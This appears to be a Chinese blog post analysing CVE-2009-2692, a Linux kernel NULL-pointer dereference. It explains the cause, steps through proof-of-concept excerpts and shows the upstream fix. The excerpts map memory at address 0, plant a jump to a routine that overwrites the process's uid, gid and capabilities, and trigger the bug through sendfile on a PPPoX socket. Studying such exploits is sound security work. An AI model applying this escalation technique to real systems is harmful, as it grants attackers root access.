天天看點

0位址的妙用(CVE-2009-2692)

漏洞成因

其實0位址的妙用在windows上也有很多的利用,在windows的主動防禦開發過程中,很多病毒都是用NULL位址來繞過主防的攔截。原理其實也很簡單,因為開發主防的程式員經常會在自己的hook函數開頭檢查傳進來的參數,例如if (param == NULL) return NTSTATUS_SUCCESS;這樣的代碼。

在Linux核心中,每個套接字都有一個名為proto_ops的相關操作結構,其中包含有用于實作各種功能(如接受、綁定、關閉等)的函數指針。如果對特定套接字的操作沒有實作,就應将相關的函數指針指向預定義的存根。例如,如果沒有定義accept功能,就應指向sock_no_accept()。但是,如果某些指針沒有初始化,就可能出現其他情況。

再回過來說linux上的這個root漏洞,其實原理和windows上差不多,就是申請一塊0位址的記憶體,然後往裡面寫入自己的函數代碼,核心中沒有判斷是否為NULL就直接調用了,通常情況下,可能核心直接奔潰,但是我們申請了0位址空間之後,就會調用進我們的提取函數中了。

PoC分析

1.程式首先申請一份0位址空間

if ((personality(0xffffffff)) != PER_SVR4) {
<span style="white-space:pre">	</span>if ((page = mmap(0x0, 0x1000, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS, 0, 0)) == MAP_FAILED) {
		perror("mmap");
		return -1;
	}
} else {
	if (mprotect(0x0, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC) < 0) {
		perror("mprotect");
		return -1;
	}
}           

2.寫入跳轉代碼,去執行我們的提權函數(這個 exploit貌似是x86架構上的)

*(char *)0 = '\x90';
*(char *)1 = '\xe9';
*(unsigned long *)2 = (unsigned long)&kernel_code - 6;           

3.提權函數采用了很巧妙的方法去修改uid和gid

uid = getuid();
gid = getgid();
setresuid(uid, uid, uid);
setresgid(gid, gid, gid);           
void kernel_code()
{
	int i;
	uint *p = get_current();

	for (i = 0; i < 1024-13; i++) {
		if (p[0] == uid && p[1] == uid && p[2] == uid && p[3] == uid && p[4] == gid && p[5] == gid && p[6] == gid && p[7] == gid) {
 			p[0] = p[1] = p[2] = p[3] = 0;
			p[4] = p[5] = p[6] = p[7] = 0;
			p = (uint *) ((char *)(p + 8) + sizeof(void *));
			p[0] = p[1] = p[2] = ~0;
			break;
		}
		p++;
	}

	exit_kernel();
}           

4.0位址空間布局好之後,通過調用sendfile觸發漏洞,提升權限

if ((fdin = mkstemp(template)) < 0) {
	perror("mkstemp");
	return -1;
}
if ((fdout = socket(PF_PPPOX, SOCK_DGRAM, 0)) < 0) {
	perror("socket");
	return -1;
}
unlink(template);
ftruncate(fdin, PAGE_SIZE);
sendfile(fdout, fdin, NULL, PAGE_SIZE);           

漏洞修複

0位址的妙用(CVE-2009-2692)

本來直接調用的sock->ops->sendpage函數被替換成了kernel_sendpage函數,而kernel_sendpage是會對sock->ops->sendpage指針最判空處理的。

int kernel_sendpage(struct socket *sock, struct page *page, int offset, size_t size, int flags)
{
	if (sock->ops->sendpage)
		return sock->ops->sendpage(sock, page, offset, size, flags);
	return sock_no_sendpage(sock, page, offset, size, flags);
}           

繼續閱讀